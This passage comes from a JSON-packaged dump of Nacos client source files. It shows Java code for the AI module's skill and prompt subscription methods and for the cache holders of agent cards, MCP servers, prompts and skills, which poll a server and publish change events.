public void setType(String type) {\n            this.type = type;\n        }\n    }\n    \n    @Override\n    public Skill subscribeSkill(String skillName, AbstractNacosSkillListener skillListener) throws NacosException {\n        if (StringUtils.isBlank(skillName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `skillName` can't be empty or null\");\n        }\n        if (null == skillListener) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `skillListener` can't be empty or null\");\n        }\n        \n        SkillListenerInvoker listenerInvoker = new SkillListenerInvoker(skillListener);\n        aiChangeNotifier.registerListener(skillName, listenerInvoker);\n        Skill result = skillCacheHolder.subscribeSkill(skillName);\n        if (null != result && !listenerInvoker.isInvoked()) {\n            listenerInvoker.invoke(new NacosSkillEvent(skillName, result));\n        }\n        return result;\n    }\n    \n    @Override\n    public void unsubscribeSkill(String skillName, AbstractNacosSkillListener skillListener) throws NacosException {\n        if (StringUtils.isBlank(skillName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `skillName` can't be empty or null\");\n        }\n        if (null == skillListener) {\n            return;\n        }\n        SkillListenerInvoker listenerInvoker = new SkillListenerInvoker(skillListener);\n        aiChangeNotifier.deregisterListener(skillName, listenerInvoker);\n        if (!aiChangeNotifier.isSkillSubscribed(skillName)) {\n            skillCacheHolder.unsubscribeSkill(skillName);\n        }\n    }\n    \n    // ==================== Prompt Methods ====================\n    \n    @Override\n    public Prompt getPrompt(String promptKey) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `promptKey` can't be empty or null\");\n        }\n        return getPromptByVersion(promptKey, null);\n    }\n    \n    @Override\n    public Prompt getPromptByVersion(String promptKey, String version) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `promptKey` can't be empty or null\");\n        }\n        if (StringUtils.isBlank(version)) {\n            return aiClientProxy.queryPrompt(promptKey, null, null, null);\n        }\n        return aiClientProxy.queryPrompt(promptKey, version, null, null);\n    }\n    \n    @Override\n    public Prompt getPromptByLabel(String promptKey, String label) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `promptKey` can't be empty or null\");\n        }\n        if (StringUtils.isBlank(label)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `label` can't be empty or null\");\n        }\n        return aiClientProxy.queryPrompt(promptKey, null, label, null);\n    }\n    \n    @Override\n    public Prompt subscribePrompt(String promptKey, String version, String label,\n            AbstractNacosPromptListener promptListener) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `promptKey` can't be empty or null\");\n        }\n        if (null == promptListener) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `promptListener` can't be null\");\n        }\n        \n        PromptListenerInvoker listenerInvoker = new PromptListenerInvoker(promptListener);\n        aiChangeNotifier.registerListener(promptKey, version, label, listenerInvoker);\n        Prompt result = promptCacheHolder.subscribePrompt(promptKey, version, label);\n        if (null != result && !listenerInvoker.isInvoked()) {\n            listenerInvoker.invoke(new NacosPromptEvent(promptKey, result));\n        }\n        return result;\n    }\n    \n    @Override\n    public void unsubscribePrompt(String promptKey, String version, String label,\n            AbstractNacosPromptListener promptListener) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `promptKey` can't be empty or null\");\n        }\n        if (null == promptListener) {\n            return;\n        }\n        PromptListenerInvoker listenerInvoker = new PromptListenerInvoker(promptListener);\n        aiChangeNotifier.deregisterListener(promptKey, version, label, listenerInvoker);\n        if (!aiChangeNotifier.isPromptSubscribed(promptKey, version, label)) {\n            promptCacheHolder.unsubscribePrompt(promptKey, version, label);\n        }\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        this.grpcClient.shutdown();\n        if (this.aiClientProxy != this.grpcClient) {\n            this.aiClientProxy.shutdown();\n        }\n        this.mcpServerCacheHolder.shutdown();\n        this.skillCacheHolder.shutdown();\n        this.promptCacheHolder.shutdown();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/cache/NacosAgentCardCacheHolder.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.cache;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentInterface;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.event.AgentCardChangedEvent;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.ai.utils.CacheKeyUtils;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Nacos AI module agent card cache holder.\n *\n * @author xiweng.yy\n */\npublic class NacosAgentCardCacheHolder implements Closeable {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(NacosAgentCardCacheHolder.class);\n    \n    private final AiGrpcClient aiGrpcClient;\n    \n    private final Map<String, AgentCardDetailInfo> agentCardCache;\n    \n    private final ScheduledExecutorService updaterExecutor;\n    \n    private final long updateIntervalMillis;\n    \n    private final Map<String, AgentCardUpdater> updateTaskMap;\n    \n    public NacosAgentCardCacheHolder(AiGrpcClient aiGrpcClient, NacosClientProperties properties) {\n        this.aiGrpcClient = aiGrpcClient;\n        this.agentCardCache = new ConcurrentHashMap<>(4);\n        this.updateTaskMap = new ConcurrentHashMap<>(4);\n        this.updaterExecutor = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.ai.agent.card.updater\"));\n        this.updateIntervalMillis = properties.getLong(AiConstants.AI_AGENT_CARD_CACHE_UPDATE_INTERVAL,\n                AiConstants.DEFAULT_AI_CACHE_UPDATE_INTERVAL);\n    }\n    \n    public AgentCardDetailInfo getAgentCard(String agentName, String version) {\n        String key = CacheKeyUtils.buildAgentCardKey(agentName, version);\n        return agentCardCache.get(key);\n    }\n    \n    /**\n     * Process new agent card detail info.\n     *\n     * @param detailInfo new agent card detail info\n     */\n    public void processAgentCardDetailInfo(AgentCardDetailInfo detailInfo) {\n        String agentName = detailInfo.getName();\n        String version = detailInfo.getVersion();\n        Boolean isLatest = detailInfo.isLatestVersion();\n        String key = CacheKeyUtils.buildAgentCardKey(agentName, version);\n        AgentCardDetailInfo oldAgentCard = agentCardCache.get(key);\n        agentCardCache.put(key, detailInfo);\n        if (null != isLatest && isLatest) {\n            String latestVersionKey = CacheKeyUtils.buildAgentCardKey(agentName, null);\n            agentCardCache.put(latestVersionKey, detailInfo);\n        }\n        if (isAgentCardChanged(oldAgentCard, detailInfo)) {\n            LOGGER.info(\"agent card {} changed, from {} -> {}.\", detailInfo.getName(),\n                    JacksonUtils.toJson(oldAgentCard), JacksonUtils.toJson(detailInfo));\n            NotifyCenter.publishEvent(new AgentCardChangedEvent(detailInfo));\n        }\n    }\n    \n    /**\n     * Add new update task for agent card.\n     *\n     * @param agentName name of agent card\n     * @param version version of agent card\n     */\n    public void addAgentCardUpdateTask(String agentName, String version) {\n        String agentCardKey = CacheKeyUtils.buildAgentCardKey(agentName, version);\n        this.updateTaskMap.computeIfAbsent(agentCardKey, s -> {\n            AgentCardUpdater updateTask = new AgentCardUpdater(agentName, version);\n            updaterExecutor.schedule(updateTask, updateIntervalMillis, TimeUnit.MILLISECONDS);\n            return updateTask;\n        });\n    }\n    \n    /**\n     * Remove new update task for agent card.\n     *\n     * @param agentName name of agent card\n     * @param version version of agent card\n     */\n    public void removeAgentCardUpdateTask(String agentName, String version) {\n        String agentNameKey = CacheKeyUtils.buildAgentCardKey(agentName, version);\n        AgentCardUpdater updateTask = this.updateTaskMap.remove(agentNameKey);\n        if (null != updateTask) {\n            updateTask.cancel();\n        }\n    }\n    \n    private boolean isAgentCardChanged(AgentCardDetailInfo oldAgentCard, AgentCardDetailInfo newAgentCard) {\n        if (null == oldAgentCard) {\n            LOGGER.info(\"init new agent card: {} -> {}\", newAgentCard.getName(), JacksonUtils.toJson(newAgentCard));\n            return true;\n        }\n        if (!Objects.equals(oldAgentCard.getVersion(), newAgentCard.getVersion())) {\n            return true;\n        }\n        List<AgentInterface> oldInterfaces = oldAgentCard.getAdditionalInterfaces();\n        List<AgentInterface> newInterfaces = newAgentCard.getAdditionalInterfaces();\n        if (Objects.isNull(oldInterfaces) && Objects.isNull(newInterfaces)) {\n            return !Objects.equals(oldAgentCard.getUrl(), newAgentCard.getUrl());\n        }\n        if (anyOneIsNull(oldInterfaces, newInterfaces)) {\n            return true;\n        }\n        // two interfaces both not null.\n        return !CollectionUtils.isEqualCollection(oldInterfaces, newInterfaces);\n    }\n    \n    private boolean anyOneIsNull(List<AgentInterface> oldAdditionalInterfaces,\n            List<AgentInterface> newAdditionalInterfaces) {\n        if (Objects.isNull(oldAdditionalInterfaces)) {\n            return true;\n        }\n        return Objects.isNull(newAdditionalInterfaces);\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        this.updaterExecutor.shutdownNow();\n    }\n    \n    private class AgentCardUpdater implements Runnable {\n        \n        private final String agentName;\n        \n        private final String version;\n        \n        private final AtomicBoolean cancel;\n        \n        public AgentCardUpdater(String agentName, String version) {\n            this.agentName = agentName;\n            this.version = version;\n            this.cancel = new AtomicBoolean(false);\n        }\n        \n        @Override\n        public void run() {\n            if (cancel.get()) {\n                return;\n            }\n            try {\n                AgentCardDetailInfo detailInfo = aiGrpcClient.getAgentCard(agentName, version, StringUtils.EMPTY);\n                processAgentCardDetailInfo(detailInfo);\n            } catch (Exception e) {\n                if (e instanceof NacosException) {\n                    NacosException nacosException = (NacosException) e;\n                    if (nacosException.getErrCode() == NacosException.NOT_FOUND) {\n                        return;\n                    }\n                }\n                LOGGER.warn(\"AgentCard updater execute query failed\", e);\n            } finally {\n                if (!cancel.get()) {\n                    updaterExecutor.schedule(this, updateIntervalMillis, TimeUnit.MILLISECONDS);\n                }\n            }\n        }\n        \n        public void cancel() {\n            cancel.set(true);\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/cache/NacosMcpServerCacheHolder.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.cache;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.event.McpServerChangedEvent;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.ai.utils.CacheKeyUtils;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.MapperFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.json.JsonMapper;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Nacos AI module mcp server cache holder.\n *\n * @author xiweng.yy\n */\npublic class NacosMcpServerCacheHolder implements Closeable {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(NacosMcpServerCacheHolder.class);\n    \n    private final AiGrpcClient aiGrpcClient;\n    \n    private final Map<String, McpServerDetailInfo> mcpServerCache;\n    \n    private final ObjectMapper objectMapper;\n    \n    private final ScheduledExecutorService updaterExecutor;\n    \n    private final long updateIntervalMillis;\n    \n    private final Map<String, McpServerUpdater> updateTaskMap;\n    \n    public NacosMcpServerCacheHolder(AiGrpcClient aiGrpcClient, NacosClientProperties properties) {\n        this.aiGrpcClient = aiGrpcClient;\n        this.mcpServerCache = new ConcurrentHashMap<>(4);\n        this.updateTaskMap = new ConcurrentHashMap<>(4);\n        this.objectMapper = JsonMapper.builder().configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true)\n                .disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES).build()\n                .setSerializationInclusion(JsonInclude.Include.NON_NULL);\n        this.updaterExecutor = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.ai.mcp.server.updater\"));\n        this.updateIntervalMillis = properties.getLong(AiConstants.AI_MCP_SERVER_CACHE_UPDATE_INTERVAL,\n                AiConstants.DEFAULT_AI_CACHE_UPDATE_INTERVAL);\n    }\n    \n    public McpServerDetailInfo getMcpServer(String mcpName, String version) {\n        String key = CacheKeyUtils.buildMcpServerKey(mcpName, version);\n        return mcpServerCache.get(key);\n    }\n    \n    /**\n     * Process new mcp server detail info.\n     *\n     * @param detailInfo new mcp server detail info\n     */\n    public void processMcpServerDetailInfo(McpServerDetailInfo detailInfo) {\n        String mcpName = detailInfo.getName();\n        String version = detailInfo.getVersionDetail().getVersion();\n        Boolean isLatest = detailInfo.getVersionDetail().getIs_latest();\n        String key = CacheKeyUtils.buildMcpServerKey(mcpName, version);\n        McpServerDetailInfo oldMcpServer = mcpServerCache.get(key);\n        mcpServerCache.put(key, detailInfo);\n        if (null != isLatest && isLatest) {\n            String latestVersionKey = CacheKeyUtils.buildMcpServerKey(mcpName, null);\n            mcpServerCache.put(latestVersionKey, detailInfo);\n        }\n        if (isMcpServerChanged(oldMcpServer, detailInfo)) {\n            LOGGER.info(\"mcp server {} changed.\", detailInfo.getName());\n            NotifyCenter.publishEvent(new McpServerChangedEvent(detailInfo));\n        }\n    }\n    \n    /**\n     * Add new update task for mcp server.\n     *\n     * @param mcpName name of mcp server\n     * @param version version of mcp server\n     */\n    public void addMcpServerUpdateTask(String mcpName, String version) {\n        String mcpServerKey = CacheKeyUtils.buildMcpServerKey(mcpName, version);\n        this.updateTaskMap.computeIfAbsent(mcpServerKey, s -> {\n            McpServerUpdater updateTask = new McpServerUpdater(mcpName, version);\n            updaterExecutor.schedule(updateTask, updateIntervalMillis, TimeUnit.MILLISECONDS);\n            return updateTask;\n        });\n    }\n    \n    /**\n     * Remove new update task for mcp server.\n     *\n     * @param mcpName name of mcp server\n     * @param version version of mcp server\n     */\n    public void removeMcpServerUpdateTask(String mcpName, String version) {\n        String mcpServerKey = CacheKeyUtils.buildMcpServerKey(mcpName, version);\n        McpServerUpdater updateTask = this.updateTaskMap.remove(mcpServerKey);\n        if (null != updateTask) {\n            updateTask.cancel();\n        }\n    }\n    \n    private boolean isMcpServerChanged(McpServerDetailInfo oldMcpServer, McpServerDetailInfo detailInfo) {\n        try {\n            String newJson = objectMapper.writeValueAsString(detailInfo);\n            if (null == oldMcpServer) {\n                LOGGER.info(\"init new mcp service: {} -> {}\", detailInfo.getName(), newJson);\n                return true;\n            }\n            String oldJson = objectMapper.writeValueAsString(oldMcpServer);\n            if (!StringUtils.equals(oldJson, newJson)) {\n                LOGGER.info(\"mcp service changed: {} -> {}\", oldJson, newJson);\n                return true;\n            }\n        } catch (JsonProcessingException e) {\n            LOGGER.error(\"Compare mcp server info failed: \", e);\n        }\n        return false;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        this.updaterExecutor.shutdownNow();\n    }\n    \n    private class McpServerUpdater implements Runnable {\n        \n        private final String mcpName;\n        \n        private final String version;\n        \n        private final AtomicBoolean cancel;\n        \n        public McpServerUpdater(String mcpName, String version) {\n            this.mcpName = mcpName;\n            this.version = version;\n            this.cancel = new AtomicBoolean(false);\n        }\n        \n        @Override\n        public void run() {\n            if (cancel.get()) {\n                return;\n            }\n            try {\n                McpServerDetailInfo detailInfo = aiGrpcClient.queryMcpServer(mcpName, version);\n                processMcpServerDetailInfo(detailInfo);\n            } catch (Exception e) {\n                if (e instanceof NacosException) {\n                    NacosException nacosException = (NacosException) e;\n                    if (nacosException.getErrCode() == NacosException.NOT_FOUND) {\n                        return;\n                    }\n                }\n                LOGGER.warn(\"Mcp server updater execute query failed\", e);\n            } finally {\n                if (!cancel.get()) {\n                    updaterExecutor.schedule(this, updateIntervalMillis, TimeUnit.MILLISECONDS);\n                }\n            }\n        }\n        \n        public void cancel() {\n            cancel.set(true);\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/cache/NacosPromptCacheHolder.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.cache;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.remote.AiClientProxy;\nimport com.alibaba.nacos.client.ai.event.PromptChangedEvent;\nimport com.alibaba.nacos.client.ai.utils.CacheKeyUtils;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Nacos AI module prompt cache holder.\n *\n * @author nacos\n */\npublic class NacosPromptCacheHolder implements Closeable {\n    \n    private static final Logger LOGGER = LogUtils.logger(NacosPromptCacheHolder.class);\n    \n    private final AiClientProxy aiClientProxy;\n    \n    private final Map<String, Prompt> promptCache;\n    \n    private final ScheduledExecutorService updaterExecutor;\n    \n    private final long updateIntervalMillis;\n    \n    private final Map<String, PromptUpdater> updateTaskMap;\n    \n    public NacosPromptCacheHolder(AiClientProxy aiClientProxy, NacosClientProperties properties) {\n        this.aiClientProxy = aiClientProxy;\n        this.promptCache = new ConcurrentHashMap<>(4);\n        this.updateTaskMap = new ConcurrentHashMap<>(4);\n        this.updaterExecutor = new ScheduledThreadPoolExecutor(1,\n                new NameThreadFactory(\"com.alibaba.nacos.client.ai.prompt.updater\"));\n        this.updateIntervalMillis = properties.getLong(AiConstants.AI_PROMPT_CACHE_UPDATE_INTERVAL,\n                AiConstants.DEFAULT_AI_CACHE_UPDATE_INTERVAL);\n    }\n    \n    private Prompt queryPrompt(String promptKey, String version, String label) throws NacosException {\n        return queryPrompt(promptKey, version, label, null);\n    }\n    \n    private Prompt queryPrompt(String promptKey, String version, String label, String md5) throws NacosException {\n        return aiClientProxy.queryPrompt(promptKey, version, label, md5);\n    }\n    \n    /**\n     * Subscribe prompt and start polling for prompt changes.\n     *\n     * @param promptKey prompt key\n     * @return current Prompt object, null if not found\n     * @throws NacosException if error occurs\n     */\n    public Prompt subscribePrompt(String promptKey, String version, String label) throws NacosException {\n        if (StringUtils.isBlank(promptKey)) {\n            throw new NacosException(NacosException.INVALID_PARAM,\n                    \"Required parameter `promptKey` not present\");\n        }\n        String cacheKey = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        \n        Prompt prompt = null;\n        try {\n            prompt = queryPrompt(promptKey, version, label);\n            processPrompt(promptKey, cacheKey, prompt);\n        } catch (NacosException e) {\n            if (e.getErrCode() != NacosException.NOT_FOUND) {\n                throw e;\n            }\n            processPrompt(promptKey, cacheKey, null);\n        }\n        addPromptUpdateTask(promptKey, version, label);\n        LOGGER.info(\"Subscribed prompt: {}, version: {}, label: {}\", promptKey, version, label);\n        return prompt;\n    }\n    \n    /**\n     * Unsubscribe prompt and remove update task.\n     *\n     * @param promptKey prompt key\n     */\n    public void unsubscribePrompt(String promptKey, String version, String label) {\n        if (StringUtils.isBlank(promptKey)) {\n            return;\n        }\n        String cacheKey = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        \n        removePromptUpdateTask(promptKey, version, label);\n        promptCache.remove(cacheKey);\n        LOGGER.info(\"Unsubscribed prompt: {}, version: {}, label: {}\", promptKey, version, label);\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        this.updaterExecutor.shutdownNow();\n    }\n    \n    private void addPromptUpdateTask(String promptKey, String version, String label) {\n        String key = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        this.updateTaskMap.computeIfAbsent(key, s -> {\n            PromptUpdater task = new PromptUpdater(promptKey, version, label);\n            updaterExecutor.schedule(task, updateIntervalMillis, TimeUnit.MILLISECONDS);\n            return task;\n        });\n    }\n    \n    private void removePromptUpdateTask(String promptKey, String version, String label) {\n        String key = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        PromptUpdater task = this.updateTaskMap.remove(key);\n        if (task != null) {\n            task.cancel();\n        }\n    }\n    \n    private void processPrompt(String promptKey, String cacheKey, Prompt newPrompt) {\n        Prompt oldPrompt = promptCache.get(cacheKey);\n        if (newPrompt == null) {\n            promptCache.remove(cacheKey);\n        } else {\n            promptCache.put(cacheKey, newPrompt);\n        }\n        if (isPromptChanged(oldPrompt, newPrompt)) {\n            NotifyCenter.publishEvent(new PromptChangedEvent(promptKey, cacheKey, newPrompt));\n        }\n    }\n    \n    private boolean isPromptChanged(Prompt oldPrompt, Prompt newPrompt) {\n        String oldJson = oldPrompt == null ? StringUtils.EMPTY : JacksonUtils.toJson(oldPrompt);\n        String newJson = newPrompt == null ? StringUtils.EMPTY : JacksonUtils.toJson(newPrompt);\n        return !StringUtils.equals(oldJson, newJson);\n    }\n    \n    private class PromptUpdater implements Runnable {\n        \n        private final String promptKey;\n        \n        private final String version;\n        \n        private final String label;\n        \n        private final String cacheKey;\n        \n        private final AtomicBoolean cancel = new AtomicBoolean(false);\n        \n        PromptUpdater(String promptKey, String version, String label) {\n            this.promptKey = promptKey;\n            this.version = version;\n            this.label = label;\n            this.cacheKey = CacheKeyUtils.buildPromptKey(promptKey, version, label);\n        }\n        \n        void cancel() {\n            cancel.set(true);\n        }\n        \n        @Override\n        public void run() {\n            if (cancel.get()) {\n                return;\n            }\n            try {\n                Prompt currentPrompt = promptCache.get(cacheKey);\n                String currentMd5 = currentPrompt == null ? null : currentPrompt.getMd5();\n                Prompt latestPrompt = queryPrompt(promptKey, version, label, currentMd5);\n                processPrompt(promptKey, cacheKey, latestPrompt);\n            } catch (NacosException e) {\n                if (e.getErrCode() == NacosException.NOT_FOUND) {\n                    processPrompt(promptKey, cacheKey, null);\n                } else if (e.getErrCode() == NacosException.NOT_MODIFIED) {\n                    // No content change, keep local cache and skip callback.\n                } else {\n                    LOGGER.warn(\"Prompt updater execute query failed: promptKey={}, err={}\", promptKey, e.getErrMsg());\n                }\n            } finally {\n                if (!cancel.get()) {\n                    updaterExecutor.schedule(this, updateIntervalMillis, TimeUnit.MILLISECONDS);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/ai/cache/NacosSkillCacheHolder.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.cache;\n\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.ai.model.skills.SkillResource;\nimport com.alibaba.nacos.api.config.ConfigService;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.concurrent.Executor;\nimport com.alibaba.nacos.api.ai.model.skills.SkillUtils;\nimport com.alibaba.nacos.client.ai.event.SkillChangedEvent;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.MapperFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.fasterxml.jackson.databind.json.JsonMapper;\nimport org.slf4j.Logger;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Nacos AI module skill cache holder.\n *\n * @author nacos\n */\npublic class NacosSkillCacheHolder implements Closeable {\n    \n    private static final Logger LOGGER = LogUtils.logger(NacosSkillCacheHolder.class);\n    \n    private final ConfigService configService;\n    \n    private final String namespaceId;\n    \n    private final Map<String, Skill> skillCache;\n    \n    private final Map<String, SkillSubscriptionInfo> subscriptionMap;\n    \n    private final ObjectMapper objectMapper;\n    \n    public NacosSkillCacheHolder(ConfigService configService, String namespaceId) {\n        this.configService = configService;\n        this.namespaceId = namespaceId;\n        this.skillCache = new ConcurrentHashMap<>(4);\n        this.subscriptionMap = new ConcurrentHashMap<>(4);\n        this.objectMapper = JsonMapper.builder().configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true)\n                .disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES).build()\n                .setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    /**\n     * Subscribe skill and start listening for configuration changes.\n     *\n     * @param skillName name of skill\n     * @return current Skill object, nullable if skill not found\n     * @throws NacosException if error occurs\n     */\n    public Skill subscribeSkill(String skillName) throws NacosException {\n        if (StringUtils.isBlank(skillName)) {\n            throw new NacosException(NacosException.INVALID_PARAM,\n                    \"Required parameter `skillName` not present\");\n        }\n        \n        // Check if already subscribed\n        if (subscriptionMap.containsKey(skillName)) {\n            return skillCache.get(skillName);\n        }\n        \n        // Load skill initially\n        Skill skill = loadSkill(skillName);\n        \n        // Create subscription info\n        SkillSubscriptionInfo subscriptionInfo = new SkillSubscriptionInfo(skillName);\n        subscriptionInfo.setCurrentSkill(skill);\n        \n        // Build main config info\n        SkillUtils.ConfigInfo mainConfigInfo = SkillUtils.buildSkillMainConfigInfo(skillName);\n        \n        // Add listener for main config\n        Listener mainConfigListener = new 